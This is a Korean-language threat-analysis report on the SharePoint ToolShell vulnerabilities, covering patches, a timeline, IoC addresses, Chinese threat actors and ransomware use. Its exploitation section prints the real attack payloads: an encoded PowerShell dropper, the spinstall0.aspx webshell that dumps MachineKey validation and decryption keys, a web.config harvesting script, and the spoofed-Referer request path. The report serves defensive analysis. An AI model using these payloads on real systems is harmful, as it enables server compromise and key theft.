블로그
home
Nation-State Cyber Actors Analysis Report
home

MS SharePoint 취약점(CVE-2025-53770/53771) : ToolShell 공격 피해 현황 및 공격 사례분석

작성자
김미희, 정하연
감수인
작성일
2025/08/07
배포일
2025/09/10
문서등급
TLP:CLEAR
Tags
CVE
SharePoint
ToolShell
IG-30
Mircosoft
Chinese
문서유형
TechNote

01. 취약점 개요

○ `25.07.19, MS 온프레미스 SharePoint* Server에서 신뢰할 수 없는 데이터 역직렬화로 인해 권한없는 공격자에 의한 임의코드실행 취약점 TooShell(CVE-2025-53770)가 공개
* SharePoint : MS에서 `01년부터 조의서 정보를 안전하게 저장, 구성, 공유, 접근하기 위한 웹 기반 공동 작업 및 문서 관리 플랫폼. 온프레미스 SharePoint Server 설치 후 Microsoft 365나 SharePoint Online로 운영하는 클라우드 서비스
○ MS는 7월 보안 업데이트를 통해 ToolShell 체인의 2가지 취약점(CVE-2025-49704, CVE-2025-49706)를 배포하였으나, 불완전한 패치로 이를 우회하는 변종 취약점(CVE-2025-53770, CVE-2025-53771)이 등장하고 피해 사례가 확인됨에 따라 CISA의 KEV에 등재
Linen Typhoon, Violet Typhoon, Storm-2603 등 APT그룹이 10개국에 걸쳐 최소 85대의 SharePoint Server가 침해되어 다국적 기업과 정부기관을 포함한 54개 조직에 영향
`25.07.31 기준, 17,000개 이상의 SharePoint Server가 노출되어 있으며, 이중 840대가 ToolShell 취약점에 노출됨에 따라 즉각적인 보안 업데이트 필요

02. 대응방안

○ 취약점 영향도가 높아 최신 보안패치가 필요하며, 자세한 사항은 06. 영향받는 버전 및 대응방안참고
구분
대응방안
보안패치 적용
취약점 4종(CVE-2025-53770, CVE-2025-53770, CVE-2025-49706, CVE-2025-53771) 최신 보안패치(KB5002768, KB5002754, KB5002760) 업데이트 적용 ※ Microsoft 365의 SharePoint Online 영향받지 않음
보안패치 미적용
보안패치 즉시 업데이트가 불가한 경우, SharePoint에서 AMSI 검사 기능을 활성화 및 모든 SharePoint 서버에 Microsoft Defender Antivirus 배포하여 임시 보호 조치 가능 * AMSI : Windows에 내장된 악성코드 탐지 및 차단 기능을 향상시키는 인터페이스
공통 사항
SharePoint서버의 MachineKey를 rotation 설정을 위해서는 IIS재시작 필요 - rotation미적용 시, 고정된 MachineKey값을 탈취해 악성 페이로드를 암호화해서 전송가능 (‘6. 영향받는 버전 및 대응방안’의 ‘※작업 전 주의사항’ 참고) * MachineKey : ASP.NET 애플리케이션 중 특히 SharePoint 보안에 사용되는 핵심 암호화 키로 ValidationKey(유효성 검사 키)와 DecryptionKey(복호화 키)로 구성 IoC정보를 통해 공격여부 확인 후 침해내역 발견 시 웹로그 분석 필요 WAF또는 웹로그 분석을 통해 의심스러운 POST Request 확인

03. 취약점 개요 및 공격 타임라인

3.1. 취약점 개요

○ MS의 2025년 7월 정기 보안업데이트를 통해 ToolShell 체인의 2가지 취약점(CVE-2025-49704, CVE-2025-49706)를 배포하였으나, 불완전한 패치로 이를 우회하는 변종 취약점(CVE-2025-53770, CVE-2025-53771)이 등장하여 ToolShell 공격 캠페인에 악용
제외대상 : Microsoft 365의 SharePoint Online은 취약점 영향을 받지 않음
즉시조시 사항 : 지원 종료된 SharePoint Server(2013 및 이전) 버전은 인터넷 연결 즉시 해제 (EOS 버전 사용 중단 및 최신 버전 업데이트 필요)
○ Threat Actor은 주로 변종 취약점(CVE-2025-53770, CVE-2025-53771)을 이용
Linen Typhoon, Violet Typhoon, Storm-2603에서 취약점 악용사례 발견
○ 취약점 상세설명
CVE
CVSS
공격유형
설명
CVE-2025-49704
8.8
RCE
Microsoft Office SharePoint에서 코드생성(Code Inejction)을 부적절하게 제어하면 권한이 있는 공격자가 네트워크를 통해 코드 실행
CVE-2025- 53770(변종)
9.8
RCE
온프레미스 Microsoft SharePoint Server에서 신뢰할 수 있는 데이터 역직렬화로 권한 없는 공격자가 네트워크를 통해 코드 실행
CVE-2025-49706
6.5
Spoofing
MS SharePoint의 부적절한 인증으로 인해 권한이 없는 공격자가 네트워크를 통해 스푸핑이 가능
CVE-2025-53771(변종)
6.5
Spoofing
Microsoft Office SharePoint에서 경로명이 제한된 디렉토리를 부적절하게 제한(Path traversal)하면 권한있는 공격자가 네트워크를 통해 스푸핑 가능
* CVSS : NVD CVSS 3.X기준

3.2. 취약점 타임라인

○ 취약점 주요 타임라인 요약
① `25.5, MS SharePoint에서 ToolShell 취약점 2종(CVE-2025-49704&CVE-2025-49706) 발견
② `25.7.7, Threat Actor인 Linen Typhoon, Violet Typhoon, Storm-2603 취약점 악용 발견
③ `25.7.8, MS에서 ToolShell 취약점(CVE-2025-49704&CVE-2025-49706) 보안패치 발표
④ `25.7.20, MS SharePoint에서 ToolShell의 변종 취약점 2종(CVE-2025-53770&CVE-2025-53771) 추가 발견
⑤ `25.7.21, MS에서 ToolShell의 변종 취약점(CVE-2025-53770&CVE-2025-53771) 보안패치 발표
○ 타임라인
일자
타임라인
`25.5
- Pwn2Own Berlin 2025에서 Viettel Cyber Security 팀, SharePoint 취약점 체인(CVE-2025-49704+CVE-2025-49706, 후에 ToolShell 명명) 공개
`25.7.7
- Microsoft 분석, 중국 국영 해킹 그룹(Linen Typhoon, Violet Typhoon, Storm-2603)이 CVE-2025-49706 및 CVE-2025-49704 초기 접근 악용 시작
`25.7.8
- Microsoft, 7월 CVE-2025-49704 및 CVE-2025-49706 보안 패치 릴리즈
`25.7.14
- CODE WHITE GmbH, CVE-2025-49704/49706 취약점 재현 성공
`25.7.19
- Eye Security, 패치되지 않은 SharePoint 제로데이 익스플로잇 악용 사례 보고 - Microsoft, CVE-2025-49704/49706을 악용하는 공격에 대한 블로그 게시
`25.7.20
- Microsoft, CVE-2025-53770/53771 신규 제로데이 취약점 및 공식 권고 발표 - CISA, CVE-2025-53770 취약점 KEV 목록에 등재 - 85개 이상 서버 피해 공식 집계 및 긴급 패치 촉구
`25.7.21
- Check Point Research, 북미와 서유럽의 정부, 통신, SW 부문에서 수십 대 서버 침해사실 확인 - Microsoft, CVE-2025-53770/53771 보안 패치 릴리즈
`25.7.23
- CISA, 경고 업데이트 및 CVE-2025-49706, CVE-2025-49704를 KEV 목록 추가 - Microsoft, Warlock 랜섬웨어 배포로 이어지는 Storm-2603의 악용 활동에 대한 업데이트
`25.7.24
- CISA, 악용에 대한 지침 개정 및 TTP 진화 언급 - Check Point Research, 전 세계 300개 이상의 조직에서 4600건 이상의 CVE 침해 시도가 발생 및 CVE가 광범위하게 악용중임을 보고
`25.7.29
Palo Alto, Orca, Microsoft 등, 패치 적용 및 머신 키 교체 등 강력 권고
`25.7.31
Shadowserver Foundation, 17,000개 이상의 SharePoint 서버가 인터넷에 노출 및 840대의 취약 서버 발견

04. ShellPoint 취약점 악용사례 분석

4.1. ToolShell(CVE-2025-49706, CVE-2025-49704) 악용사례

○ (공격요약) Eye Security에서 발표한 SharePoint ToolShell(CVE-2025-49706, CVE-2025-49704)의 대규모 공격사례를 분석한 결과, `25.7.17~7.19 발생한 공격 양상은 ‘① CVE-2025-49706과 CVE-2025-49704를 조합한 공격체인으로 공격대상 접근 → ② Sharpyshell로 생성한 것으로 추정되는 WebShell업로드 → ③ 암호화된 크리덴셜 정보 탈취’로 확인
○ (정찰 및 초기 공격시도) `25.7.17 21:51(UTC) 96.9.125.147(미국)에서 CVE-2025-49706(인증우회)와 CVE-2025-49704(역직렬화 RCE)를 통한 초기 공격 시도(정찰로 추정)
○ (Exploit) `25.7.18 18:06(UT) 107.191.58.76(미국)에서 CVE-2025-49706(인증우회)와 CVE-2025-49704(역직렬화 RCE)을 통해 본격적인 1차 공격(Exploit)을 시작하고, `25.7.19 07:28(UTC) 104.238.159.149(독일)에서 CVE-2025-49706(인증우회)와 CVE-2025-49704(역직렬화 RCE)을 통해 본격적인 2차 공격(Exploit)을 시작
○ `25.7.17~7.19 사이에 발생한 공격은 ToolShell(CVE-2025-49706, CVE-2025-49704)을 이용한 ASPX WebShell 업로드를 통해 GET Request를 이용하여 SharePoint Server에 저장된 암호화된 패스워드를 추출 및 유출하는 목적의 파일을 실행
2025-07-18 18:xx:04 <proxy masked> POST /_layouts/15/ToolPane.aspx DisplayMode=Edit&a=/ToolPane.aspx 443 - <proxy masked> Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:120.0)+Gecko/20100101+Firefox/120.0 /_layouts/SignOut.aspx 302 0 0 707 2025-07-18 18:xx:05 <proxy masked> GET /_layouts/15/spinstall0.aspx - 443 - <proxy masked> Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:120.0)+Gecko/20100101+Firefox/120.0 /_layouts/SignOut.aspx 200 0 0 31
JavaScript
복사
ToolShell을 이용한 피해 시스템의 IIS 로그 일부
○ PowerShell 프로세스는 Windows Server의 w3wp.exe(IIS Worker)가 실행한 자식 프로세스인 ASP.NET이 실행한 cmd.exe를 통해 spinstall0.aspx를 생성하는 공격을 수행
- spinstall0.aspx는 암호화 덤핑을 수행하는 APSX페이로드로 SharpyShell*로 제작 추정
* SharpyShell : 암호화 채널을 제공하는 난독화된 ASP.NET 웹쉘(SHA256 : 92bb4ddb98eeaf11fc15bb32e71d0a63256a0ed826a03ba293ce3a8bf057a514)
○ STEP1 : Powershell로 실행되는 공격 페이로드
powershell -EncodedCommand JABiAGEAcwBlADYANABTAHQAcgBpAG4AZwAgAD0AIAAiAFAAQwBWAEEASQBFAGwAdABjAEcAOQB5AGQAQwBCAE8AWQBXADEAbABjADMAQgBoAFkAMgBVADkASQBsAE4ANQBjADMAUgBsAGIAUwA1AEUAYQBXAEYAbgBiAG0AOQB6AGQARwBsAGoAYwB5AEkAZwBKAFQANABOAEMAagB3AGwAUQBDAEIASgBiAFgAQgB2AGMAbgBRAGcAVABtAEYAdABaAFgATgB3AFkAVwBOAGwAUABTAEoAVABlAFgATgAwAFoAVwAwAHUAUwBVADgAaQBJAEMAVQArAEQAUQBvADgAYwAyAE4AeQBhAFgAQgAwAEkASABKADEAYgBtAEYAMABQAFMASgB6AFoAWABKADIAWgBYAEkAaQBJAEcAeABoAGIAbQBkADEAWQBXAGQAbABQAFMASgBqAEkAeQBJAGcAUQAwADkARQBSAFYAQgBCAFIAMABVADkASQBqAFkAMQBNAEQAQQB4AEkAagA0AE4AQwBpAEEAZwBJAEMAQgB3AGQAVwBKAHMAYQBXAE0AZwBkAG0AOQBwAFoAQwBCAFEAWQBXAGQAbABYADIAeAB2AFkAVwBRAG8ASwBRADAASwBJAEMAQQBnAEkASABzAE4AQwBnAGsASgBkAG0ARgB5AEkASABOADUASQBEADAAZwBVADMAbAB6AGQARwBWAHQATABsAEoAbABaAG0AeABsAFkAMwBSAHAAYgAyADQAdQBRAFgATgB6AFoAVwAxAGkAYgBIAGsAdQBUAEcAOQBoAFoAQwBnAGkAVQAzAGwAegBkAEcAVgB0AEwAbABkAGwAWQBpAHcAZwBWAG0AVgB5AGMAMgBsAHYAYgBqADAAMABMAGoAQQB1AE0AQwA0AHcATABDAEIARABkAFcAeAAwAGQAWABKAGwAUABXADUAbABkAFgAUgB5AFkAVwB3AHMASQBGAEIAMQBZAG0AeABwAFkAMAB0AGwAZQBWAFIAdgBhADIAVgB1AFAAVwBJAHcATQAyAFkAMQBaAGoAZABtAE0AVABGAGsATgBUAEIAaABNADIARQBpAEsAVABzAE4AQwBpAEEAZwBJAEMAQQBnAEkAQwBBAGcAZABtAEYAeQBJAEcAMQByAGQAQwBBADkASQBIAE4ANQBMAGsAZABsAGQARgBSADUAYwBHAFUAbwBJAGwATgA1AGMAMwBSAGwAYgBTADUAWABaAFcASQB1AFEAMgA5AHUAWgBtAGwAbgBkAFgASgBoAGQARwBsAHYAYgBpADUATgBZAFcATgBvAGEAVwA1AGwAUwAyAFYANQBVADIAVgBqAGQARwBsAHYAYgBpAEkAcABPAHcAMABLAEkAQwBBAGcASQBDAEEAZwBJAEMAQgAyAFkAWABJAGcAWgAyAEYAagBJAEQAMABnAGIAVwB0ADAATABrAGQAbABkAEUAMQBsAGQARwBoAHYAWgBDAGcAaQBSADIAVgAwAFEAWABCAHcAYgBHAGwAagBZAFgAUgBwAGIAMgA1AEQAYgAyADUAbQBhAFcAYwBpAEwAQwBCAFQAZQBYAE4AMABaAFcAMAB1AFUAbQBWAG0AYgBHAFYAagBkAEcAbAB2AGIAaQA1AEMAYQBXADUAawBhAFcANQBuAFIAbQB4AGgAWgAzAE0AdQBVADMAUgBoAGQARwBsAGoASQBIAHcAZwBVADMAbAB6AGQARwBWAHQATABsAEoAbABaAG0AeABsAFkAMwBSAHAAYgAyADQAdQBRAG0AbAB1AFoARwBsAHUAWgAwAFoAcwBZAFcAZAB6AEwAawA1AHYAYgBsAEIAMQBZAG0AeABwAFkAeQBrADcARABRAG8AZwBJAEMAQQBnAEkAQwBBAGcASQBIAFoAaABjAGkAQgBqAFoAeQBBADkASQBDAGgAVABlAFgATgAwAFoAVwAwAHUAVgAyAFYAaQBMAGsATgB2AGIAbQBaAHAAWgAzAFYAeQBZAFgAUgBwAGIAMgA0AHUAVABXAEYAagBhAEcAbAB1AFoAVQB0AGwAZQBWAE4AbABZADMAUgBwAGIAMgA0AHAAWgAyAEYAagBMAGsAbAB1AGQAbQA5AHIAWgBTAGgAdQBkAFcAeABzAEwAQwBCAHUAWgBYAGMAZwBiADIASgBxAFoAVwBOADAAVwB6AEIAZABLAFQAcwBOAEMAaQBBAGcASQBDAEEAZwBJAEMAQQBnAFUAbQBWAHoAYwBHADkAdQBjADIAVQB1AFYAMwBKAHAAZABHAFUAbwBZADIAYwB1AFYAbQBGAHMAYQBXAFIAaABkAEcAbAB2AGIAawB0AGwAZQBTAHMAaQBmAEMASQByAFkAMgBjAHUAVgBtAEYAcwBhAFcAUgBoAGQARwBsAHYAYgBpAHMAaQBmAEMASQByAFkAMgBjAHUAUgBHAFYAagBjAG4AbAB3AGQARwBsAHYAYgBrAHQAbABlAFMAcwBpAGYAQwBJAHIAWQAyAGMAdQBSAEcAVgBqAGMAbgBsAHcAZABHAGwAdgBiAGkAcwBpAGYAQwBJAHIAWQAyAGMAdQBRADIAOQB0AGMARwBGADAAYQBXAEoAcABiAEcAbAAwAGUAVQAxAHYAWgBHAFUAcABPAHcAMABLAEkAQwBBAGcASQBIADAATgBDAGoAdwB2AGMAMgBOAHkAYQBYAEIAMABQAGcAPQA9ACIADQAKACQAZABlAHMAdABpAG4AYQB0AGkAbwBuAEYAaQBsAGUAIAA9ACAAIgBDADoAXABQAFIATwBHAFIAQQB+ADEAXABDAE8ATQBNAE8ATgB+ADEAXABNAEkAQwBSAE8AUwB+ADEAXABXAEUAQgBTAEUAUgB+ADEAXAAxADYAXABUAEUATQBQAEwAQQBUAEUAXABMAEEAWQBPAFUAVABTAFwAcwBwAGkAbgBzAHQAYQBsAGwAMAAuAGEAcwBwAHgAIgANAAoAJABkAGUAYwBvAGQAZQBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAGEAcwBlADYANABTAHQAcgBpAG4AZwApAA0ACgAkAGQAZQBjAG8AZABlAGQAQwBvAG4AdABlAG4AdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGQAZQBjAG8AZABlAGQAQgB5AHQAZQBzACkADQAKACQAZABlAGMAbwBkAGUAZABDAG8AbgB0AGUAbgB0ACAAfAAgAFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZABlAHMAdABpAG4AYQB0AGkAbwBuAEYAaQBsAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAdABvAHAA
Plain Text
복사
○ STEP2 : PowerShell를 디코딩하여 BASE64로 압축 해제된 결과는 spinstall0.aspx에 저장
SharePoint Server의 MachineKey구성을 확인하기 위해 내부 .NET메소드를 호출
ViewState 암호화 키를 위조하는 데 필요한 서버의 ValidationKeys, DecryptionKeys, CompatabilityMode 가져오는 기능을 수행하며, 해당 키는 ‘__VIEWSTATE’*를 이용한 RCE 공격에 사용
* __VIEWSTATE : ASP.NET에서 웹 폼(Web Forms)에서 사용자 UI 상태를 페이지 간에 유지를 위한 목적으로, BASE64로 인코딩된 직렬화된 데이터를 서버에서 역직렬화해서 사용. SharePoint RCE 취약점 CVE-2021-28474에서 ‘__VIEWSTATE’를 매개변수로 공격 페이로드 전송
$base64String = "PCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5EaWFnbm9zdGljcyIgJT4NCjwlQCBJbXBvcnQgTmFtZXNwYWNlPSJTeXN0ZW0uSU8iICU+DQo8c2NyaXB0IHJ1bmF0PSJzZXJ2ZXIiIGxhbmd1YWdlPSJjIyIgQ09ERVBBR0U9IjY1MDAxIj4NCiAgICBwdWJsaWMgdm9pZCBQYWdlX2xvYWQoKQ0KICAgIHsNCgkJdmFyIHN5ID0gU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkuTG9hZCgiU3lzdGVtLldlYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EiKTsNCiAgICAgICAgdmFyIG1rdCA9IHN5LkdldFR5cGUoIlN5c3RlbS5XZWIuQ29uZmlndXJhdGlvbi5NYWNoaW5lS2V5U2VjdGlvbiIpOw0KICAgICAgICB2YXIgZ2FjID0gbWt0LkdldE1ldGhvZCgiR2V0QXBwbGljYXRpb25Db25maWciLCBTeXN0ZW0uUmVmbGVjdGlvbi5CaW5kaW5nRmxhZ3MuU3RhdGljIHwgU3lzdGVtLlJlZmxlY3Rpb24uQmluZGluZ0ZsYWdzLk5vblB1YmxpYyk7DQogICAgICAgIHZhciBjZyA9IChTeXN0ZW0uV2ViLkNvbmZpZ3VyYXRpb24uTWFjaGluZUtleVNlY3Rpb24pZ2FjLkludm9rZShudWxsLCBuZXcgb2JqZWN0WzBdKTsNCiAgICAgICAgUmVzcG9uc2UuV3JpdGUoY2cuVmFsaWRhdGlvbktleSsifCIrY2cuVmFsaWRhdGlvbisifCIrY2cuRGVjcnlwdGlvbktleSsifCIrY2cuRGVjcnlwdGlvbisifCIrY2cuQ29tcGF0aWJpbGl0eU1vZGUpOw0KICAgIH0NCjwvc2NyaXB0Pg==" $destinationFile = "C:\PROGRA~1\COMMON~1\MICROS~1\WEBSER~1\16\TEMPLATE\LAYOUTS\spinstall0.aspx" $decodedBytes = [System.Convert]::FromBase64String($base64String) $decodedContent = [System.Text.Encoding]::UTF8.GetString($decodedBytes) $decodedContent | Set-Content -Path $destinationFile -ErrorAction Stop
PowerShell
복사
<%@ Import Namespace="System.Diagnostics" %> <%@ Import Namespace="System.IO" %> <script runat="server" language="c#" CODEPAGE="65001"> public void Page_load() { var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"); var mkt = sy.GetType("System.Web.Configuration.MachineKeySection"); var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic); var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]); Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode); } </script>
JavaScript
복사
○ Code White GmbH에서 ToolShell(CVE-2025-49706, CVE-2025-49704)를 이용한 RCE 공격 체인을 시연한 결과
ToolShell(CVE-2025-49706, CVE-2025-49704) POC 결과, @codewhitesec
○ ToolShell 취약점(CVE-2025-53770+CVE-2025-53771) 악용 과정
1.
공격자는 SharePoint의 ‘/_layouts/15/ToolPane.aspx’ URI에 Referer 값을 ‘/_layouts/SignOut.aspx’으로 조작한 HTTP Request를 보내 인증 절차를 우회(CVE-2025-53771)
2.
HTTP POST Request의 body부 내 MSOtlPn_DWP 파라미터 값 XML이 SharePoint 서버에서 역직렬화되면서 악성 행위를 수행하는 웹 셸이 동작하여 임의코드가 실행(CVE-2025-53770)
ToolShell 공격을 수행하는 HTTP POST Request
Toolpane.aspx에서 적절한 매개변수를 수신받아 역직렬화 하는 과정의 일부
Gemini를 통해 Referer가 공격의 매개변수인 것을 발견한 내용, @irsdl
CVE-2025-49706과 CVE-2025-49704을 연계한 취약점 공격 예시, @codewhitesec
/_layouts/SignOut.aspx에서 인증우회를 위한 Referer Header옵션 발견, @irsdl

4.2. 변종 ToolShell(CVE-2025-53770, CVE-2025-53771) 악용사례

○ `25.7.14 08:40(UTC)부터 7.22까지 CL-CRI-1040(Micrsoft에서 클러스터링한 Storm-2603와 104.238.159.149가 중복)가 CVE-2025-53770을 이용해 공격
104.238.159.149는 Microsoft는 Storm-2603이 사용한 웹쉘인 spinstall0.aspx(SHA256 : 92bb4ddb98eeaf11fc15bb32e71d0a63256a0ed826a03ba293ce3a8bf057a514)을 사용해 공격
IoC
주요 공격방식
45.86.231.241 51.161.152.26 91.236.230.76 92.222.167.88
- `25.7.17 06:58(UTC)이후부터 해당 4개 IP주소에서 User-Agent가 python-requests/2.32.3이고, referrer 필드가 없는 HTTP GET Request에서 ‘_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx’ - SAFING_VPN(Safing Privacy Network)을 통해 실제 접속주소를 숨기기 위한 시도를 사용 - 91.236.230.76 : ‘/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx’에 HTTP GET 요청 수행
96.9.125.147 107.191.58.76 104.238.159.149
- 96.9.125.147 : `25.7.17 08:58(UTC)에서 SharePoint 취약점의 Exploit을 통해 qlj22mpc라는 명칭의 맞춤형 .NET어셈블리 모듈을 전송, `25.7.18 bjcloiyq라는 이름의 페이로드 전송 - SharePoint 취약점 사용 시 ‘/_layouts/SignOut.aspx’를 referer로 하여 ‘/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx’에 HTTP POST 요청 - 107.191.58.76, 104.238.159.149 : 인코딩된 PowerShell 명령을 실행하여 웹셸을 spinstall0.aspx로 저장하는 페이로드 전송 - ‘/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx’로 HTTP POST 요청을 보낸 후 ‘/_layouts/15/spinstall0.aspx’로 HTTP GET 요청
○ ToolShell 취약점을 이용한 공격 페이로드 현황
공격유형
공격방식
[변형1] PowerShell을 통해 web.config을 반복하여 결과를 debug_dev.js에 저장하는 공격 페이로드
$sourceDirectory = 'C:\inetpub\wwwroot\wss\VirtualDirectories' $targetFile = 'C:\Program Files\Common Files\microsoft shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js'   # 디렉토리 내 모든 하위 폴더 순회 Get-ChildItem -Path $sourceDirectory -Directory | ForEach-Object { $webConfigPath = Join-Path -Path $_.FullName -ChildPath 'web.config' # web.config 파일 존재 시 debug_dev.js에 web.config 파일 경로 및 내용 추가 if (Test-Path -Path $webConfigPath) { Add-Content -Path $targetFile -Value ( 'File: ' + $webConfigPath + [System.Environment]::NewLine + [System.Environment]::NewLine + (Get-Content -Path $webConfigPath -Raw) + [System.Environment]::NewLine + [System.Environment]::NewLine ) } }
- web.config 파일에 대해 반복할 소스 디렉토리 설정하기 - debug_dev.js라는 빈 파일 생성하기 - web.config 파일의 소스 디렉토리 반복하기 - web.config 파일이 있는 경우, web.config의 데이터를 debug_dev.js에 추가하기
[변형2] IIS Process Worker(w3wp.exe)를 통한 BASE65로 인코딩된 Powershell 공격 페이로드
<%@ Import Namespace="System.Diagnostics" %> <%@ Import Namespace="System.IO" %> <script runat="server" language="c#" CODEPAGE="65001"> public void Page_load() { var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"); var mkt = sy.GetType("System.Web.Configuration.MachineKeySection"); var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic); var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]); Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode); } </script>
C:\PROGRA~1\COMMON~1\MICROS~1\WEBSER~1\16\TEMPLATE\LAYOUTS\spinstall0.aspx에 파일을 생성한 다음 변수 $base64string에 포함된 Base64 문자열의 내용을 파일로 디코딩 - ViewState 암호화 키를 위조하는 데 필요한 서버의 ValidationKeys, DecryptionKeys 및 CompatabilityMode를 가져오는 역할 수행
[변형3] IIS Process Worker(w3wp.exe)를 통한 BASE65로 인코딩된 Powershell 공격 페이로드
# Base64로 인코딩된 ASPX 페이지 문자열 $b = @" PCVAIEltcG9ydCBOYW1lc3BhY2U9I1N5c3RlbS5EaWFnbm9zdGljcyIgJT4NCjwlQCBJbXBvcnQgTm FtZXNwYWN1PSJTeXN0ZW0uSU8iICU+DQo8c2NyaXB0IHJ1bmF0PSJzZXJ2ZXIiIGxhbmd1YWd1PSJjI yIgQ09ERVBBR0U9IjY1MDAxIj4NCiAgICBwdWJsaWMgdm9pZCBQYWdlX2xvYWQoKQOKICAgIHsNCgkJ dmFyIHN5ID0gU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkuTG9hZCgiU3lzdGVtLldlYiwgVmVyc21 vbj00LjAuMC4wLCBDdWx0dXJ1PW51dXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2 EiKTsNCiAgICAgICAgdmFyIG1rdCA9IHN5Lkd1dFR5cGUoIlN5c3RlbS5XZWIuQ29uZmlndXJhdGlvb i5NYWNoaW51S2V5U2VjdGlvbiIpOwOKICAgICAgICB2YXIgZ2FjID0gbWt0LkdldE11dGhvZCgiR2V0 QXBwbG1jYXRpb25Db25maWciLCBTeXN0ZW0uUmVmbGVjdGlvbi5CaW5kaW5nRmxhZ3MuU3RhdG1jIHw gU3lzdGVtLlJlZmxlY3Rpb24uQmluZGluZ0ZsYWdzLk5vb1B1YmxpYyk7DQogICAgICAgIHZhciBjZy A9ICHTeXN0ZW0uV2ViLkNvbmZpZ3VyYXRpb24uTWFjaGluZUtleVN1Y3Rpb24pZ2FjLkludm9rZShud WxsLCBuZXcgb2JqZWN0WzBdKTsNCiAgICAgICAgUmVzcG9uc2UuV3JpdGUoY2cuVmFsaWRhdGlvbktl eSsifCIrY2cuVmFsaWRhdGlvbisifCIrY2cuRGVjcnlwdGlvbktleSsifCIrY2cuRGVjcnlwdGlvbis ifCIrY2cuQ29tcGF0aWJpbG10eU1vZGUpOwOKICAgIHONCjwvc2NyaXB0Pg== "@   # 디코딩 후 저장될 ASPX 파일 경로 $c = "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\15\TEMPLATE\LAYOUTS\spinstal10.aspx"   $d = [System.Convert]::FromBase64String($b) $e = [System.Text.Encoding]::UTF8.GetString($d) $e | Set-Content -Path $c -ErrorAction Stop Start-Sleep -Seconds 3
- MachineKey 정보유출을 시도하는 기능을 동일하나 변수명을 단일 문자로 변경하고, Start-Sleep을 설정

05. Threat Actor별 취약점 악용 현황

○ (공격그룹) `25.7.7부터 중국 Threat Actor인 Linen Typhoon, Violet Typhoon, Storm-2603이 ToolShell 취약점(CVE-2025-49706/49704)을 악용해 초기 접근시도
`25.7.22 Microsoft에 따르면, 중국 Threat Actor인 Linen Typhoon과 Violet Typhoon이 ToolShell 취약점을 통해 SharePoint Server를 타깃으로 정보탈취 공격 수행
Linen Typhoon : 2012년부터 주로 정부, 국방, 전략 기획, 인권 관련 기관을 표적으로 지적 재산권 탈취를 목적으로 드라이브 바이(Drive-by) 공격 악용
Violet Typhoon은 2015년부터 주로 미국, 유럽, 동아시아 지역의 전직 정부 및 군인, 비정부기구(NGO), 싱크탱크, 고등 교육기관, 디지털 및 인쇄 매체, 금융 및 의료 관련 분야를 표적으로 노출된 웹 인프라의 취약점을 악용하여 웹 셸 설치 등의 공격 수행
(피해대상) 주요 공격대상은 북미와 서유럽으로 미국 핵무기 관리기관(NNS), 미국 보건복지부 산하 연구기관(NIH), 미국 교육부, 로드아일랜드 주의회, 플로리다 주 세무국, 유럽 및 중동의 정부 기관을 공격
○ (취약점을 이용한 랜섬웨어 감염 사례) ToolShell취약점을 이용하여 Storm-2603에서는 Warlock 랜섬웨어를 배포하고 있으며, 4L4MD4R 랜섬웨어도 공격사례 발견
CL-CRI-1040는 LockBit 3.0계열사 및 Warlock Client Leaked Data Show라는 데이터 유출사이트를 운영
Research Origin
Cluster/ Group
Activity
Tools
Unit 42
CL-CRI-1040
ToolShell exploit chain과 관련된 금전적 목적의 공격
Microsoft
Storm-2603
SharePoint 취약점을 이용한 랜섬웨어 배포
Storm-2603과 CL-CRI-1040 연관성 분석 결과, Unit42

06. 영향받는 버전 및 대응방안

6.1. 보안 업데이트 적용할 경우

○ Microsoft에서 제공되는 최신 보안패치(KB5002768, KB5002754, KB5002760) 적용
제외대상 : Microsoft 365의 SharePoint Online은 취약점 영향을 받지 않음
즉시조시 사항 : 지원 종료된 SharePoint Server(2013 및 이전) 버전은 인터넷 연결 즉시 해제 (EOS 버전 사용 중단 및 최신 버전 업데이트 필요)
* ‘CISA, UPDATE: Microsoft Releases Guidance on Exploitation of SharePoint Vulnerabilities, July 31, 2025’
CVE
CVSS
유형
제품명
취약 버전
보안패치 버전
CVE-2025-49704
9.8
RCE
Microsoft SharePoint Server Subscription Edition
16.0.0 <16.0.18526.20508
KB5002768
